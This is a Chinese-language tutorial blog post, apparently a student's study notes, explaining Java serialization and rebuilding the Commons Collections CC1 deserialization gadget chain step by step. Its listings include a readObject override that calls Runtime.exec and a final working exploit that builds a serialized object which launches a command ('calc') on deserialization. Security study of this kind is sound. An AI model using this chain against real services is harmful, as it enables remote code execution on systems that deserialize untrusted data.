Java序列化与反序列化+cc链
前言
Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。
Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。
序列化与反序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储
与PHP不同的是php大概是序列化生成一串序列化字符串,而java是生成了字节流文件
PHP通过一串字符串来在各种运行环境中穿梭,而java通过一个字节流文件来穿梭
同时java没有类似于python或者php的魔术函数,它是通过链式调用,也就是套娃的方式来构造恶意链
除此之外我们可以通过重写其默认的readObject()
函数我们可以执行一些恶意命令执行函数
序列化
首先需要一个目标类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| package com.Z1d10t; import com.learn.learning;
import java.io.Serializable;
public class Student implements Serializable { private String name="Tom"; public int age = 1;
public transient String hobby = "basketball";
public String getName() { return name; }
public int getAge() { return age; }
public void setName(String name) { this.name = name; }
public void setAge(int age) { this.age = age; } private void display(String name){ System.out.println("This is "+name); } public void see(int age){ System.out.println("Age is "+age); }
@Override public String toString() { return "Student{" + "name='" + name + '\'' + ", age=" + age + '}'; } }
|
然后是我们的序列化过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package com.Z1d10t;
import java.io.FileOutputStream; import java.io.ObjectOutputStream;
public class Serialize { public static void main(String[] args) throws Exception { Student stu = new Student(); FileOutputStream fileOutputStream = new FileOutputStream("ser.ser"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(stu); objectOutputStream.close(); fileOutputStream.close(); }
}
|
需要注意的是 我们要进行序列化与反序列化需要带有 Serializable
接口才行
还有关键字transient
申明的属性不会参与序列化与反序列化
反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package com.Z1d10t;
import java.io.FileInputStream; import java.io.ObjectInputStream;
public class Unserialize { public static void main(String[] args) throws Exception { FileInputStream fileInputStream = new FileInputStream("ser.ser"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); Student stu2 = (Student) objectInputStream.readObject();
}
}
|
可见hobby属性并没有被反序列化
简单利用
如果我们在目标类中重写readObject函数 并且进行命令执行
1 2 3 4 5 6
| private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{ in.defaultReadObject(); Runtime.getRuntime().exec("calc"); }
|
当我们反序列化执行readObject()
的时候 就会自动调用我们的命令函数了
这里需要注意就是我们还是需要执行系统默认设置的in.defaultReadObject();
cc1链复现
环境搭建
无脑看这个师傅的链接搭就行了JAVA安全初探(三):CC1链全分析 - 先知社区
需要注意的是 配置好maven之后 就会自动帮我们把Comments-Collections-3.2.1下载到本地仓库
就不用再去找源码了
其次还要将其加进去
源头利用点
这个链子的源头是Common Collections库中的Transformer
接口
寻找一下继承了这个接口的类
有很多 但是主角是InvokerTransformer
我们跟进一下
发现有我们很熟悉的反射调用那么这里很明显是一个利用点 并且它还支持反序列化 继承了Serializable接口
再来看他的构造方法
一共三个,分别为方法名,变量类的数组,对象数组
这是一个我们普通的通过反射调用Runtime
的过程
如果按照上面InvokerTransformer的transform
来调用的话 就是这样
利用成功
那么这样我们就找到了源头利用点 接下来就是找链子了 链式调用
找链子
去找谁调用了transform方法
有很多类调用了这个方法 但是这里复现TransformedMap
的checkSetValue
方法
这里可以看到方法类型和构造都是protected 所以我们只能内部调用或者子类调用与实例化 不能外部调用去实例化
看看构造函数 返现它传进来一个Map对象然后对他的键和值都进行一些操作
向上找 看看谁调用了方法或者构造了实例
发现docorate()
方法对它进行了实例化 并且还是static类型 那么就属于是类的方法 直接通过类名.方法名
形式调用即可
我们先来调用这个函数进行实例化
至于这里第二个参数为什么是null 因为checkSetValue只对第二个参数作用了 所以第一个参数传不传都无所谓
TransformedMap这个类的checkSetValue()
调用了transform()
那么继续 看看谁调用了checkSetValue()
发现只有一处调用了这个函数
MapEntry类的setValue()
函数
MapEntry继承了AbstractMapEntryDecorator这个类 同时TransformedMap也继承了这个类
AbstractMapEntryDecorator有setValue()
那么相当于子类MapEntry重写了父类的setValue()
其实本质上是重写了Entry这个接口的内置函数
同时父类还有Map.Entry这个接口
理解Entry
那么至此 我们现需要了解一下什么Entry
简单说Entry就是Map里的键值对
setValue()是Map类的内置函数
常常用来遍历map对象的时候这样使用 从字面意思也能看出是在赋值
继续
这个类MapEntry的父类又引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue方法
到目前为止来缕一缕思路
for循环遍历transformdMap
->调用MapEntry
的setValue()
->transformdMap
的checkSetValue()
->InvokerTransformer.transform()
非常完美
现在继续来看哪个可利用的类调用了setValue()
如果谁的readObject()
函数调用了setValue()
那么刚好闭环 岂不美哉???
那么就找到了AnnotationInvocationHandler
它的readObject函数直接就调用了setValue()
函数
所以反序列化时候就会自动执行
并且还是遍历Entry来执行的 难道这就是天意吗
来看他的构造函数
接受两个参数 分别是:
继承了注解的Class 看这个类名也知道和注解有关系
是个Map 并且我们可控 可以将之前的transformdMap
传入
但是这个类有个缺陷就是 他没有申明public 也就是说只能在本package调用 如果想要在外部调用 就要用反射 并且只能用全限定方式调用 也就是Class.forName(完整包名)
方式
这里再认识一下Override
它是什么呢 它是一个注解 就是用来解释程序的附加信息 不会影响程序的正常运行 可以简单看作一个注释 当然不严谨 我们跟进一下
可以看到它上面还有两个注解
那么这两个注解叫做元注解 他们是用来解释注解的
Target一般是来限制注解的作用对象
Retention来限制注解作用阶段 比如源代码阶段还是程序运行阶段
那么 让我们来运行一下
惊了直接调用成功了 这里其实是有问题的 这里并不是我们反序列化调用计算器成功的而是
所以要把这一行注释了 一定要注意到这里!!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| package com.Z1d10t.dubug;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.crypto.dsig.Transform; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class Test { public static void main(String[] args) throws Exception { Runtime r = Runtime.getRuntime();
InvokerTransformer rlInvokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> map = new HashMap<>(); map.put("Z1d10t","Z1d10t"); Map<Object,Object> transformdMap =TransformedMap.decorate(map, null, rlInvokerTransformer); Class<?> annotationClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationConstructor = annotationClass.getDeclaredConstructor(Class.class,Map.class); annotationConstructor.setAccessible(true); Object o = annotationConstructor.newInstance(Override.class, transformdMap); serialize(o); unserialize("ser.ser");
} public static void serialize(Object object) throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser")); objectOutputStream.writeObject(object); } public static void unserialize(String filename) throws Exception{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); }
}
|
那么再让我们执行一次 它没有成功
那么问题出在哪里了呢
问题
一
Runtime类并没有Serializable接口 所以无法进行序列化和反序列化
所以我们需要通过反射获得它的原型类 原型类Class具有Serializable接口的
它有一个getRuntime()
方法 注意一下这里是没有参数传入的
可以看到直接返回一个Runtime对象 我们可以利用它来反射调用
也就是单列模式
获得可以反序列化的对象和exec方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| package com.Z1d10t.dubug;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.crypto.dsig.Transform; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class Test { public static void main(String[] args) throws Exception {
Class runtimeReflection = Class.forName("java.lang.Runtime"); Method rReflectionMethod = runtimeReflection.getMethod("getRuntime",null); Runtime r = (Runtime) rReflectionMethod.invoke(null, null); Method exec = runtimeReflection.getMethod("exec", String.class); exec.invoke(r,"calc");
} public static void serialize(Object object) throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser")); objectOutputStream.writeObject(object); } public static void unserialize(String filename) throws Exception{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); }
}
|
优化
优化为我们一开始的InvokerTransformer
调用形式
这里直接给transform穿了一个Runtime.class
这是一个类对象 本质上也是对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| package com.Z1d10t.dubug;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.crypto.dsig.Transform; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class Test { public static void main(String[] args) throws Exception { Method rReflectionMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class ,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null, null}).transform(rReflectionMethod); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
Class runtimeReflection = Runtime.class;
} public static void serialize(Object object) throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser")); objectOutputStream.writeObject(object); } public static void unserialize(String filename) throws Exception{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); }
}
|
可以看到是一个套一个的形式 有点套娃 那么有没有一个类直接帮我们进行套娃调用呢
答案是有的ChainedTransformer
类
构造函数我们需要将我们链式调用的内容数组传进去 然后它的transform()
就可以帮我们进行链式调用
真是太酷啦
最后优化后的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| package com.Z1d10t.dubug;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.crypto.dsig.Transform; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class Test { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class ,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);
} public static void serialize(Object object) throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser")); objectOutputStream.writeObject(object); } public static void unserialize(String filename) throws Exception{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); }
}
|
记得要将map这里稍加修改一下 对象变了
二
记得35行要注释掉
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| package com.Z1d10t.dubug;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.crypto.dsig.Transform; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class Test { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class ,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); map.put("Z1d10t","Z1d10t"); Map<Object,Object> transformdMap =TransformedMap.decorate(map, null,chainedTransformer );
Class<?> annotationClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationConstructor = annotationClass.getDeclaredConstructor(Class.class,Map.class); annotationConstructor.setAccessible(true); Object o = annotationConstructor.newInstance(Override.class, transformdMap); serialize(o); unserialize("ser.ser");
} public static void serialize(Object object) throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser")); objectOutputStream.writeObject(object); } public static void unserialize(String filename) throws Exception{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); }
}
|
至此还是执行不了 因为执行AnnotationInvocationHandler
下的readObject()
我们有条件没有满足
有两个if语句
打两个断点我们调试一下
发现第一个条件memberType != null
是不满足的 就直接出来了
这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称,而我们所使用的注解Override是没有成员变量的 所以得找一个有成员变量的注解
Target注解 注意这里value()并不是函数 而是它的属性 学注解的时候有注意到这个
因此要将Object o = annotationConstructor.newInstance(Override.class, transformdMap);
Override改为Target
并且把这块的key改为value
终于进来了
三
在setValue的时候,我们传入的value值根本就不是我们需要的Runtime.class
那么我们应该怎么把他转回我们想要的值呢
这里用到了ConstantTransformer
这个类里面也有transform,和构造函数配合使用的话
无论我们传入什么值,就会返回构造函数传的那个值,这样就能将value的值转为Runtime.class
至此所有的链就结束了
最终代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| package com.Z1d10t.dubug;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.crypto.dsig.Transform; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class Test { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class ,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Class runtimeReflection = Runtime.class;
HashMap<Object, Object> map = new HashMap<>(); map.put("value","Z1d10t"); Map<Object,Object> transformdMap =TransformedMap.decorate(map, null,chainedTransformer );
Class<?> annotationClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationConstructor = annotationClass.getDeclaredConstructor(Class.class,Map.class); annotationConstructor.setAccessible(true); Object o = annotationConstructor.newInstance(Target.class, transformdMap); serialize(o); unserialize("ser.ser");
} public static void serialize(Object object) throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser")); objectOutputStream.writeObject(object); } public static void unserialize(String filename) throws Exception{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); }
}
|
后言:
虽然跟着视频资料一步一步跟过来了 但是还是不太熟悉 还是得多调试多想
累了 调了几天了 终于结束了
感谢:
组长Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili
佬文章 JAVA安全初探(三):CC1链全分析 - 先知社区